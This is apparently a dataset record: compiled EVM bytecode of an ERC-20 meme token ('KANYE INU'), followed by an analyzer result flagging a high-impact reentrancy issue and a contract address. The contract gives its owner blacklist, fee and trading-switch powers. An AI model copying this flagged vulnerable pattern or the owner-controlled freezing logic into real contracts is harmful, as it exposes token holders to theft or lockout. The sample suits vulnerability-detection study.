0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a9059cbb11610095578063d00efb2f11610064578063d00efb2f14610648578063dd62ed3e14610673578063ea1644d5146106b0578063f2fde38b146106d9576101d7565b8063a9059cbb1461058e578063bfd79284146105cb578063c3c8cd8014610608578063c492f0461461061f576101d7565b80638f9a55c0116100d15780638f9a55c0146104e657806395d89b411461051157806398a5c3151461053c578063a2a957bb14610565576101d7565b80637d1db4a5146104675780638da5cb5b146104925780638f70ccf7146104bd576101d7565b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec146103d357806370a08231146103ea578063715018a61461042757806374010ece1461043e576101d7565b8063313ce5671461032b57806349bd5a5e146103565780636b999053146103815780636d8aa8f8146103aa576101d7565b80631694505e116101ab5780631694505e1461026d57806318160ddd1461029857806323b872dd146102c35780632fd689e314610300576101d7565b8062b8cf2a146101dc57806306fdde0314610205578063095ea7b314610230576101d7565b366101d757005b600080fd5b3480156101e857600080fd5b5061020360048036038101906101fe91906130c6565b610702565b005b34801561021157600080fd5b5061021a610852565b604051610227919061350f565b60405180910390f35b34801561023c57600080fd5b5061025760048036038101906102529190613032565b61088f565b60405161026491906134d9565b60405180910390f35b34801561027957600080fd5b506102826108ad565b60405161028f91906134f4565b60405180910390f35b3480156102a457600080fd5b506102ad6108d3565b6040516102ba91906136f1565b60405180910390f35b3480156102cf57600080fd5b506102ea60048036038101906102e59190612fe3565b6108e3565b6040516102f791906134d9565b60405180910390f35b34801561030c57600080fd5b506103156109bc565b60405161032291906136f1565b60405180910390f35b34801561033757600080fd5b506103406109c2565b60405161034d9190613766565b60405180910390f35b34801561036257600080fd5b5061036b6109cb565b60405161037891906134be565b60405180910390f35b34801561038d57600080fd5b506103a860048036038101906103a39190612f55565b6109f1565b005b3480156103b657600080fd5b506103d160048036038101906103cc9190613107565b610ae1565b005b3480156103df57600080fd5b506103e8610b92565b005b3480156103f657600080fd5b50610411600480360381019061040c9190612f55565b610c63565b60405161041e91906136f1565b60405180910390f35b34801561043357600080fd5b5061043c610cb4565b005b34801561044a57600080fd5b5061046560048036038101906104609190613130565b610e07565b005b34801561047357600080fd5b5061047c610ea6565b60405161048991906136f1565b60405180910390f35b34801561049e57600080fd5b506104a7610eac565b6040516104b491906134be565b60405180910390f35b3480156104c957600080fd5b506104e460048036038101906104df9190613107565b610ed5565b005b3480156104f257600080fd5b506104fb610f8e565b60405161050891906136f1565b60405180910390f35b34801561051d57600080fd5b50610526610f94565b604051610533919061350f565b60405180910390f35b34801561054857600080fd5b50610563600480360381019061055e9190613130565b610fd1565b005b34801561057157600080fd5b5061058c60048036038101906105879190613159565b611070565b005b34801561059a57600080fd5b506105b560048036038101906105b09190613032565b611127565b6040516105c291906134d9565b60405180910390f35b3480156105d757600080fd5b506105f260048036038101906105ed9190612f55565b611145565b6040516105ff91906134d9565b60405180910390f35b34801561061457600080fd5b5061061d611165565b005b34801561062b57600080fd5b506106466004803603810190610641919061306e565b61123e565b005b34801561065457600080fd5b5061065d61139e565b60405161066a91906136f1565b60405180910390f35b34801561067f57600080fd5b5061069a60048036038101906106959190612fa7565b6113a4565b6040516106a791906136f1565b60405180910390f35b3480156106bc57600080fd5b506106d760048036038101906106d29190613130565b61142b565b005b3480156106e557600080fd5b5061070060048036038101906106fb9190612f55565b6114ca565b005b61070a61168c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610797576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161078e90613651565b60405180910390fd5b60005b815181101561084e576001601160008484815181106107e2577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061084690613a2b565b91505061079a565b5050565b60606040518060400160405280600981526020017f4b414e594520494e550000000000000000000000000000000000000000000000815250905090565b60006108a361089c61168c565b8484611694565b6001905092915050565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000670de0b6b3a7640000905090565b60006108f084848461185f565b6109b1846108fc61168c565b6109ac85604051806060016040528060288152602001613f3860289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061096261168c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122339092919063ffffffff16565b611694565b600190509392505050565b60195481565b60006009905090565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6109f961168c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a86576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a7d90613651565b60405180910390fd5b6000601160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610ae961168c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b76576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b6d90613651565b60405180910390fd5b806016806101000a81548160ff02191690831515021790555050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610bd361168c565b73ffffffffffffffffffffffffffffffffffffffff161480610c495750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610c3161168c565b73ffffffffffffffffffffffffffffffffffffffff16145b610c5257600080fd5b6000479050610c6081612297565b50565b6000610cad600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612392565b9050919050565b610cbc61168c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d49576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d4090613651565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610e0f61168c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e9c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e9390613651565b60405180910390fd5b8060178190555050565b60175481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610edd61168c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f6a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f6190613651565b60405180910390fd5b80601660146101000a81548160ff0219169083151502179055504360088190555050565b60185481565b60606040518060400160405280600581526020017f4b414e5945000000000000000000000000000000000000000000000000000000815250905090565b610fd961168c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611066576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161105d90613651565b60405180910390fd5b8060198190555050565b61107861168c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611105576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110fc90613651565b60405180910390fd5b8360098190555082600b8190555081600a8190555080600c8190555050505050565b600061113b61113461168c565b848461185f565b6001905092915050565b60116020528060005260406000206000915054906101000a900460ff1681565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166111a661168c565b73ffffffffffffffffffffffffffffffffffffffff16148061121c5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661120461168c565b73ffffffffffffffffffffffffffffffffffffffff16145b61122557600080fd5b600061123030610c63565b905061123b81612400565b50565b61124661168c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112d3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112ca90613651565b60405180910390fd5b60005b8383905081101561139857816005600086868581811061131f577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b90506020020160208101906113349190612f55565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061139090613a2b565b9150506112d6565b50505050565b60085481565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61143361168c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146114c0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114b790613651565b60405180910390fd5b8060188190555050565b6114d261168c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461155f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161155690613651565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156115cf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115c6906135b1565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611704576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116fb906136d1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611774576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161176b906135d1565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161185291906136f1565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156118cf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118c690613691565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561193f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161193690613531565b60405180910390fd5b60008111611982576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161197990613671565b60405180910390fd5b61198a610eac565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156119f857506119c8610eac565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611f3257601660149054906101000a900460ff16611a8757611a19610eac565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611a86576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a7d90613551565b60405180910390fd5b5b601754811115611acc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ac390613591565b60405180910390fd5b601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611b705750601160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611baf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ba6906135f1565b60405180910390fd5b6008544311158015611c0e5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b8015611c685750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611ca057503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611cfe576001601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611dab5760185481611d6084610c63565b611d6a9190613827565b10611daa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611da1906136b1565b60405180910390fd5b5b6000611db630610c63565b9050600060195482101590506017548210611dd15760175491505b808015611deb5750601660159054906101000a900460ff16155b8015611e455750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611e5b575060168054906101000a900460ff165b8015611eb15750600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611f075750600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611f2f57611f1582612400565b60004790506000811115611f2d57611f2c47612297565b5b505b50505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611fd95750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b8061208c5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561208b5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b1561209a5760009050612221565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156121455750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561215d57600954600d81905550600a54600e819055505b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156122085750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b1561222057600b54600d81905550600c54600e819055505b5b61222d848484846126fa565b50505050565b600083831115829061227b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612272919061350f565b60405180910390fd5b506000838561228a9190613908565b9050809150509392505050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6122e760028461272790919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612312573d6000803e3d6000fd5b50601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61236360028461272790919063ffffffff16565b9081150290604051600060405180830381858888f1935050505015801561238e573d6000803e3d6000fd5b5050565b60006006548211156123d9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123d090613571565b60405180910390fd5b60006123e3612771565b90506123f8818461272790919063ffffffff16565b915050919050565b6001601660156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561245e577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b60405190808252806020026020018201604052801561248c5781602001602082028036833780820191505090505b50905030816000815181106124ca577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561256c57600080fd5b505afa158015612580573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906125a49190612f7e565b816001815181106125de577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061264530601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611694565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016126a995949392919061370c565b600060405180830381600087803b1580156126c357600080fd5b505af11580156126d7573d6000803e3d6000fd5b50505050506000601660156101000a81548160ff02191690831515021790555050565b806127085761270761279c565b5b6127138484846127df565b80612721576127206129aa565b5b50505050565b600061276983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506129be565b905092915050565b600080600061277e612a21565b91509150612795818361272790919063ffffffff16565b9250505090565b6000600d541480156127b057506000600e54145b156127ba576127dd565b600d54600f81905550600e546010819055506000600d819055506000600e819055505b565b6000806000806000806127f187612a80565b95509550955095509550955061284f86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612ae890919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506128e485600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612b3290919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061293081612b90565b61293a8483612c4d565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161299791906136f1565b60405180910390a3505050505050505050565b600f54600d81905550601054600e81905550565b60008083118290612a05576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016129fc919061350f565b60405180910390fd5b5060008385612a14919061387d565b9050809150509392505050565b600080600060065490506000670de0b6b3a76400009050612a55670de0b6b3a764000060065461272790919063ffffffff16565b821015612a7357600654670de0b6b3a7640000935093505050612a7c565b81819350935050505b9091565b6000806000806000806000806000612a9d8a600d54600e54612c87565b9250925092506000612aad612771565b90506000806000612ac08e878787612d1d565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000612b2a83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612233565b905092915050565b6000808284612b419190613827565b905083811015612b86576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b7d90613611565b60405180910390fd5b8091505092915050565b6000612b9a612771565b90506000612bb18284612da690919063ffffffff16565b9050612c0581600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612b3290919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612c6282600654612ae890919063ffffffff16565b600681905550612c7d81600754612b3290919063ffffffff16565b6007819055505050565b600080600080612cb36064612ca5888a612da690919063ffffffff16565b61272790919063ffffffff16565b90506000612cdd6064612ccf888b612da690919063ffffffff16565b61272790919063ffffffff16565b90506000612d0682612cf8858c612ae890919063ffffffff16565b612ae890919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612d368589612da690919063ffffffff16565b90506000612d4d8689612da690919063ffffffff16565b90506000612d648789612da690919063ffffffff16565b90506000612d8d82612d7f8587612ae890919063ffffffff16565b612ae890919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415612db95760009050612e1b565b60008284612dc791906138ae565b9050828482612dd6919061387d565b14612e16576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612e0d90613631565b60405180910390fd5b809150505b92915050565b6000612e34612e2f846137a6565b613781565b90508083825260208201905082856020860282011115612e5357600080fd5b60005b85811015612e835781612e698882612e8d565b845260208401935060208301925050600181019050612e56565b5050509392505050565b600081359050612e9c81613ef2565b92915050565b600081519050612eb181613ef2565b92915050565b60008083601f840112612ec957600080fd5b8235905067ffffffffffffffff811115612ee257600080fd5b602083019150836020820283011115612efa57600080fd5b9250929050565b600082601f830112612f1257600080fd5b8135612f22848260208601612e21565b91505092915050565b600081359050612f3a81613f09565b92915050565b600081359050612f4f81613f20565b92915050565b600060208284031215612f6757600080fd5b6000612f7584828501612e8d565b91505092915050565b600060208284031215612f9057600080fd5b6000612f9e84828501612ea2565b91505092915050565b60008060408385031215612fba57600080fd5b6000612fc885828601612e8d565b9250506020612fd985828601612e8d565b9150509250929050565b600080600060608486031215612ff857600080fd5b600061300686828701612e8d565b935050602061301786828701612e8d565b925050604061302886828701612f40565b9150509250925092565b6000806040838503121561304557600080fd5b600061305385828601612e8d565b925050602061306485828601612f40565b9150509250929050565b60008060006040848603121561308357600080fd5b600084013567ffffffffffffffff81111561309d57600080fd5b6130a986828701612eb7565b935093505060206130bc86828701612f2b565b9150509250925092565b6000602082840312156130d857600080fd5b600082013567ffffffffffffffff8111156130f257600080fd5b6130fe84828501612f01565b91505092915050565b60006020828403121561311957600080fd5b600061312784828501612f2b565b91505092915050565b60006020828403121561314257600080fd5b600061315084828501612f40565b91505092915050565b6000806000806080858703121561316f57600080fd5b600061317d87828801612f40565b945050602061318e87828801612f40565b935050604061319f87828801612f40565b92505060606131b087828801612f40565b91505092959194509250565b60006131c883836131d4565b60208301905092915050565b6131dd8161393c565b82525050565b6131ec8161393c565b82525050565b60006131fd826137e2565b6132078185613805565b9350613212836137d2565b8060005b8381101561324357815161322a88826131bc565b9750613235836137f8565b925050600181019050613216565b5085935050505092915050565b6132598161394e565b82525050565b61326881613991565b82525050565b613277816139b5565b82525050565b6000613288826137ed565b6132928185613816565b93506132a28185602086016139c7565b6132ab81613b01565b840191505092915050565b60006132c3602383613816565b91506132ce82613b12565b604082019050919050565b60006132e6603f83613816565b91506132f182613b61565b604082019050919050565b6000613309602a83613816565b915061331482613bb0565b604082019050919050565b600061332c601c83613816565b915061333782613bff565b602082019050919050565b600061334f602683613816565b915061335a82613c28565b604082019050919050565b6000613372602283613816565b915061337d82613c77565b604082019050919050565b6000613395602383613816565b91506133a082613cc6565b604082019050919050565b60006133b8601b83613816565b91506133c382613d15565b602082019050919050565b60006133db602183613816565b91506133e682613d3e565b604082019050919050565b60006133fe602083613816565b915061340982613d8d565b602082019050919050565b6000613421602983613816565b915061342c82613db6565b604082019050919050565b6000613444602583613816565b915061344f82613e05565b604082019050919050565b6000613467602383613816565b915061347282613e54565b604082019050919050565b600061348a602483613816565b915061349582613ea3565b604082019050919050565b6134a98161397a565b82525050565b6134b881613984565b82525050565b60006020820190506134d360008301846131e3565b92915050565b60006020820190506134ee6000830184613250565b92915050565b6000602082019050613509600083018461325f565b92915050565b60006020820190508181036000830152613529818461327d565b905092915050565b6000602082019050818103600083015261354a816132b6565b9050919050565b6000602082019050818103600083015261356a816132d9565b9050919050565b6000602082019050818103600083015261358a816132fc565b9050919050565b600060208201905081810360008301526135aa8161331f565b9050919050565b600060208201905081810360008301526135ca81613342565b9050919050565b600060208201905081810360008301526135ea81613365565b9050919050565b6000602082019050818103600083015261360a81613388565b9050919050565b6000602082019050818103600083015261362a816133ab565b9050919050565b6000602082019050818103600083015261364a816133ce565b9050919050565b6000602082019050818103600083015261366a816133f1565b9050919050565b6000602082019050818103600083015261368a81613414565b9050919050565b600060208201905081810360008301526136aa81613437565b9050919050565b600060208201905081810360008301526136ca8161345a565b9050919050565b600060208201905081810360008301526136ea8161347d565b9050919050565b600060208201905061370660008301846134a0565b92915050565b600060a08201905061372160008301886134a0565b61372e602083018761326e565b818103604083015261374081866131f2565b905061374f60608301856131e3565b61375c60808301846134a0565b9695505050505050565b600060208201905061377b60008301846134af565b92915050565b600061378b61379c565b905061379782826139fa565b919050565b6000604051905090565b600067ffffffffffffffff8211156137c1576137c0613ad2565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006138328261397a565b915061383d8361397a565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561387257613871613a74565b5b828201905092915050565b60006138888261397a565b91506138938361397a565b9250826138a3576138a2613aa3565b5b828204905092915050565b60006138b98261397a565b91506138c48361397a565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156138fd576138fc613a74565b5b828202905092915050565b60006139138261397a565b915061391e8361397a565b92508282101561393157613930613a74565b5b828203905092915050565b60006139478261395a565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061399c826139a3565b9050919050565b60006139ae8261395a565b9050919050565b60006139c08261397a565b9050919050565b60005b838110156139e55780820151818401526020810190506139ca565b838111156139f4576000848401525b50505050565b613a0382613b01565b810181811067ffffffffffffffff82111715613a2257613a21613ad2565b5b80604052505050565b6000613a368261397a565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415613a6957613a68613a74565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460008201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b613efb8161393c565b8114613f0657600080fd5b50565b613f128161394e565b8114613f1d57600080fd5b50565b613f298161397a565b8114613f3457600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220ee90e4e119042ce3cf4d6554310b36ad42a65880adbf8d1d9f711c93a37e64b364736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
6,761
0xCe9c59916e0119021A7Aca619FB0A8D738Cd398d
